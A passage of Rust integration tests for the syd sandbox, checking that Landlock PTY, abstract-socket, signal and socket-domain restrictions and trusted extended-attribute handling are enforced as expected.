.args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_allow_2() -> TestResult {
skip_unless_landlock_abi_supported!(5);
skip_unless_pty!();
skip_unless_available!("python3");
let status = syd()
.p("off")
.p("landlock")
.p("tty")
.m("allow/lock/read,exec+/")
.args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_deny_1() -> TestResult {
skip_unless_landlock_abi_supported!(5);
skip_unless_pty!();
skip_unless_available!("python3");
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_deny_2() -> TestResult {
skip_unless_landlock_abi_supported!(5);
skip_unless_pty!();
skip_unless_available!("python3");
let status = syd()
.p("off")
.p("landlock")
.p("tty")
.m("allow/lock/read,exec+/")
.m("allow/lock/write,ioctl-/dev/ptmx")
.m("allow/lock/write,ioctl-/dev/pts")
.args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check Landlock abstract unix socket restrictions (ABI 6).
fn test_syd_landlock_abstract_unix_socket_restrictions_allow() -> TestResult {
skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
skip_unless_landlock_abi_supported!(6);
// Write input data for socat.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// Start socat in the background.
let syd_pds = &SYD_PDS.to_string();
let mut child = Command::new("sh")
.arg("-cex")
.arg(format!("{syd_pds} socat -u -d -d FILE:chk ABSTRACT-LISTEN:/syd/test/test1.socket,mode=777,forever 2>&1 | tee log"))
.spawn()
.expect("execute socat");
// Wait for socat to start listening.
Command::new("timeout")
.arg("-sKILL")
.arg("45s")
.arg("sh")
.arg("-c")
.arg("while ! grep -q listening log; do :; done")
.status()
.expect("wait for socat");
// connect(\0/syd/test/test1.socket) is allowed without Landlock.
let status = syd()
.p("off")
.do_("connect_unix_abstract", ["/syd/test/test1.socket"])
.status()
.expect("execute syd");
let _ = child.kill();
child.wait().expect("wait socat");
assert_status_ok!(status);
Ok(())
}
// Check Landlock abstract unix socket restrictions (ABI 6).
fn test_syd_landlock_abstract_unix_socket_restrictions_deny() -> TestResult {
skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
skip_unless_landlock_abi_supported!(6);
// Write input data for socat.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
let syd_pds = &SYD_PDS.to_string();
let mut child = Command::new("sh")
.arg("-cex")
.arg(format!("{syd_pds} socat -u -d -d FILE:chk ABSTRACT-LISTEN:/syd/test/test2.socket,mode=777,forever 2>&1 | tee log"))
.spawn()
.expect("execute socat");
// Wait for socat to start listening.
Command::new("timeout")
.arg("-sKILL")
.arg("45s")
.arg("sh")
.arg("-c")
.arg("while ! grep -q listening log; do :; done")
.status()
.expect("wait for socat");
// connect(\0/syd/test/test2.socket) cannot escape Landlock!
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.do_("connect_unix_abstract", ["/syd/test/test2.socket"])
.status()
.expect("execute syd");
let _ = child.kill();
child.wait().expect("wait socat");
assert_status_permission_denied!(status);
Ok(())
}
// Check Landlock signal restrictions (ABI 6).
fn test_syd_landlock_signal_restrictions_allow() -> TestResult {
skip_unless_available!("sleep");
skip_unless_landlock_abi_supported!(6);
let mut child = Command::new("sleep")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()))
.spawn()
.expect("execute sleep");
let pid = child.id();
// kill(pid) does propagate to child without Landlock!
// This is not possible as of 3.35.2 as we create an
// unconditional, best-effort Landlock domain which
// is scope-only.
let status = syd()
.p("off")
.do_("kill", [&pid.to_string(), &libc::SIGKILL.to_string()])
.status()
.expect("execute syd");
let _ = child.kill();
child.wait().expect("wait sleep");
assert_status_permission_denied!(status);
Ok(())
}
// Check Landlock signal restrictions (ABI 6).
fn test_syd_landlock_signal_restrictions_deny() -> TestResult {
skip_unless_available!("sleep");
skip_unless_landlock_abi_supported!(6);
let mut child = Command::new("sleep")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()))
.spawn()
.expect("execute sleep");
let pid = child.id();
// kill(pid) does not propagate to child.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.do_("kill", [&pid.to_string(), &libc::SIGKILL.to_string()])
.status()
.expect("execute syd");
let _ = child.kill();
child.wait().expect("wait sleep");
assert_status_permission_denied!(status);
Ok(())
}
// base_test.c: TEST(inconsistent_attr)
fn test_syd_landlock_selftest_inconsistent_attr() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_inconsistent_attr")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(abi_version)
fn test_syd_landlock_selftest_abi_version() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_abi_version")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(errata)
fn test_syd_landlock_selftest_errata() -> TestResult {
skip_unless_landlock_abi_supported!(7);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_errata")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(create_ruleset_checks_ordering)
fn test_syd_landlock_selftest_create_ruleset_checks_ordering() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_create_ruleset_checks_ordering")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(add_rule_checks_ordering)
fn test_syd_landlock_selftest_add_rule_checks_ordering() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_add_rule_checks_ordering")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(restrict_self_checks_ordering)
fn test_syd_landlock_selftest_restrict_self_checks_ordering() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_restrict_self_checks_ordering")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(restrict_self_fd)
fn test_syd_landlock_selftest_restrict_self_fd() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_restrict_self_fd")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(restrict_self_fd_logging_flags)
fn test_syd_landlock_selftest_restrict_self_fd_logging_flags() -> TestResult {
skip_unless_landlock_abi_supported!(7);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_restrict_self_fd_logging_flags")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(restrict_self_logging_flags)
fn test_syd_landlock_selftest_restrict_self_logging_flags() -> TestResult {
skip_unless_landlock_abi_supported!(7);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_restrict_self_logging_flags")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(ruleset_fd_io)
fn test_syd_landlock_selftest_ruleset_fd_io() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_ruleset_fd_io")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(ruleset_fd_transfer)
fn test_syd_landlock_selftest_ruleset_fd_transfer() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_ruleset_fd_transfer")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// base_test.c: TEST(cred_transfer)
fn test_syd_landlock_selftest_cred_transfer() -> TestResult {
skip_unless_landlock_abi_supported!(1);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_cred_transfer")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// tsync_test.c: TEST(single_threaded_success)
fn test_syd_landlock_selftest_tsync_single_threaded() -> TestResult {
skip_unless_landlock_abi_supported!(8);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_tsync_single_threaded")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// tsync_test.c: TEST(multi_threaded_success)
fn test_syd_landlock_selftest_tsync_multi_threaded() -> TestResult {
skip_unless_landlock_abi_supported!(8);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_tsync_multi_threaded")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// tsync_test.c: TEST(multi_threaded_success_despite_diverging_domains)
fn test_syd_landlock_selftest_tsync_diverging_domains() -> TestResult {
skip_unless_landlock_abi_supported!(8);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_tsync_diverging_domains")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// tsync_test.c: TEST(competing_enablement)
fn test_syd_landlock_selftest_tsync_competing() -> TestResult {
skip_unless_landlock_abi_supported!(8);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "landlock_tsync_competing")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
// Checks socket domain restrictions
fn test_syd_socket_domain_restrictions() -> TestResult {
let allows = [
(libc::AF_UNIX, libc::SOCK_DGRAM, 0),
(libc::AF_UNIX, libc::SOCK_STREAM, 0),
(libc::AF_INET, libc::SOCK_DGRAM, 0),
(libc::AF_INET, libc::SOCK_STREAM, 0),
(libc::AF_INET6, libc::SOCK_DGRAM, 0),
(libc::AF_INET6, libc::SOCK_STREAM, 0),
];
let denies = [
// Do not add privileged sockets here.
(libc::AF_NETLINK, libc::SOCK_DGRAM, libc::NETLINK_GENERIC),
(libc::AF_NETLINK, libc::SOCK_DGRAM, libc::NETLINK_ROUTE),
];
let kcapis = [(libc::AF_ALG, libc::SOCK_SEQPACKET, 0)];
for (domain, ty, proto) in &allows {
let status = syd()
.p("off")
.do_(
"socket",
[&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
}
for (domain, ty, proto) in &denies {
let status = syd()
.p("off")
.do_(
"socket",
[&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
let status = syd()
.p("off")
.m("trace/allow_unsupp_socket:1")
.do_(
"socket",
[&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
}
for (domain, ty, proto) in &kcapis {
let status = syd()
.p("off")
.do_(
"socket",
[&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_kcapi:1")
.do_(
"socket",
[&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
)
.status()
.expect("execute syd");
// Careful, kernel may return EAFNOSUPPORT
// if CONFIG_CRYPTO_USER_API is either not
// enabled or compiled as a module and the
// module is not yet loaded.
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
let status = syd()
.p("off")
.m("trace/allow_unsupp_socket:1")
.m("trace/allow_unsafe_kcapi:1")
.do_(
"socket",
[&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
)
.status()
.expect("execute syd");
// Careful, kernel may return EAFNOSUPPORT
// if CONFIG_CRYPTO_USER_API is either not
// enabled or compiled as a module and the
// module is not yet loaded.
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
}
Ok(())
}
// Checks trusted name restrictions for xattrs.
fn test_syd_0_xattr_name_restrictions_get_default() -> TestResult {
skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["bash", "-cex"])
.arg(
r##"
getfattr -n user.noent file && exit 1 || true
getfattr -n user.test file
getfattr -n trusted.test file && exit 1 || true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Checks trusted name restrictions for xattrs.
fn test_syd_0_xattr_name_restrictions_get_lockoff() -> TestResult {
skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:off")
.argv(["bash", "-cex"])
.arg(
r##"
getfattr -n user.noent file && exit 1 || true
getfattr -n user.test file
getfattr -n trusted.test file
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Checks trusted name restrictions for xattrs.
fn test_syd_0_xattr_name_restrictions_set_default() -> TestResult {
skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["bash", "-cex"])
.arg(
r##"
setfattr -x user.noent file && exit 1 || true
setfattr -x user.test file
setfattr -x trusted.test file && exit 3 || true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Checks trusted name restrictions for xattrs.
fn test_syd_0_xattr_name_restrictions_set_lockoff() -> TestResult {
skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:off")
.argv(["bash", "-cex"])
.arg(
r##"
setfattr -x user.noent file && exit 1 || true
setfattr -x user.test file
setfattr -x trusted.test file
setfattr -n trusted.test -v 7 file
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Checks trusted name restrictions for xattrs.
fn test_syd_0_xattr_name_restrictions_lst_default() -> TestResult {
skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["bash", "-cex"])
.arg(
r##"
getfattr -d file | grep -q user.test
getfattr -d file | grep -q trusted. && exit 1 || true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Checks trusted name restrictions for xattrs.
fn test_syd_0_xattr_name_restrictions_lst_lockoff() -> TestResult {
skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:off")
.argv(["bash", "-cex"])
.arg(
r##"
getfattr -d file | grep -q user.test
getfattr -m- -d file | grep -q trusted.
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_getxattrat_path_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("SYD_TEST_DO", "getxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.arg("-cex")
.arg(format!(
r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} file user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
{syd_do} file trusted.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_getxattrat_file_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
mkdir dir
setfattr -n user.test -v 1 dir
setfattr -n trusted.test -v 3 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("SYD_TEST_DO", "getxattrat_file")
.env("ENOSYS", ENOSYS.to_string())
.arg("-cex")
.arg(format!(
r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} dir user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
{syd_do} dir trusted.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_getxattrat_path_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do__("getxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
echo 1 > exp.1
: > exp.2
{syd_do} file user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
{syd_do} file trusted.test > test.2 || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat failed with ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
cmp test.1 exp.1
cmp test.2 exp.2
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_getxattrat_path_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.p("privileged")
.m("lock:off")
.m("sandbox/stat:on")
.m("allow/stat+/***")
.do__("getxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} file user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
{syd_do} file trusted.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_getxattrat_file_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
mkdir dir
setfattr -n user.test -v 1 dir
setfattr -n trusted.test -v 3 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do__("getxattrat_file")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
echo 1 > exp.1
: > exp.2
{syd_do} dir user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
{syd_do} dir trusted.test > test.2 || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat failed with ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
cmp test.1 exp.1
cmp test.2 exp.2
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_getxattrat_file_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
mkdir dir
setfattr -n user.test -v 1 dir
setfattr -n trusted.test -v 3 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("lock:off")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do__("getxattrat_file")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} dir user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
{syd_do} dir trusted.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_xattr_setxattrat_path_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("ENOSYS", ENOSYS.to_string())
.arg("-cex")
.arg(format!(
r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
SYD_TEST_DO=setxattrat_path {syd_do} file user.test 1 create || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=setxattrat_path {syd_do} file user.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.none 2 0
SYD_TEST_DO=getxattrat_path {syd_do} file user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_path {syd_do} file user.none > test.2
SYD_TEST_DO=setxattrat_path {syd_do} file user.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.test > test.3
cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_xattr_setxattrat_size_linux() -> TestResult {
skip_unless_available!("bash");
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("ENOSYS", ENOSYS.to_string())
.env("EOPNOTSUPP", EOPNOTSUPP.to_string())
.arg("-cex")
.arg(format!(
r##"
touch file
SYD_TEST_DO=setxattrat_size {syd_do} file user.test bar || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
$EOPNOTSUPP)
echo >&2 "filesystem does not support user xattrs, skipping test!"
exit 0;;
*) exit $r;;
esac
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_xattr_setxattrat_size_syd_default() -> TestResult {
skip_unless_available!("bash");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("EOPNOTSUPP", EOPNOTSUPP.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
touch file
SYD_TEST_DO=setxattrat_size {syd_do} file user.test bar || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
$EOPNOTSUPP)
echo >&2 "filesystem does not support user xattrs, skipping test!"
exit 0;;
*) exit $r;;
esac
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_xattr_getxattrat_size_linux() -> TestResult {
skip_unless_available!("bash");
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.env("EOPNOTSUPP", EOPNOTSUPP.to_string())
.arg("-cex")
.arg(format!(
r##"
touch file
SYD_TEST_DO=getxattrat_size {syd_do} file user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$EOPNOTSUPP)
echo >&2 "filesystem does not support user xattrs, skipping test!"
exit 0;;
$ENODATA) true;;
*) exit $r;;
esac
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_xattr_getxattrat_size_syd_default() -> TestResult {
skip_unless_available!("bash");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.env("EOPNOTSUPP", EOPNOTSUPP.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
touch file
SYD_TEST_DO=getxattrat_size {syd_do} file user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$EOPNOTSUPP)
echo >&2 "filesystem does not support user xattrs, skipping test!"
exit 0;;
$ENODATA) true;;
*) exit $r;;
esac
"##,
))
.status()
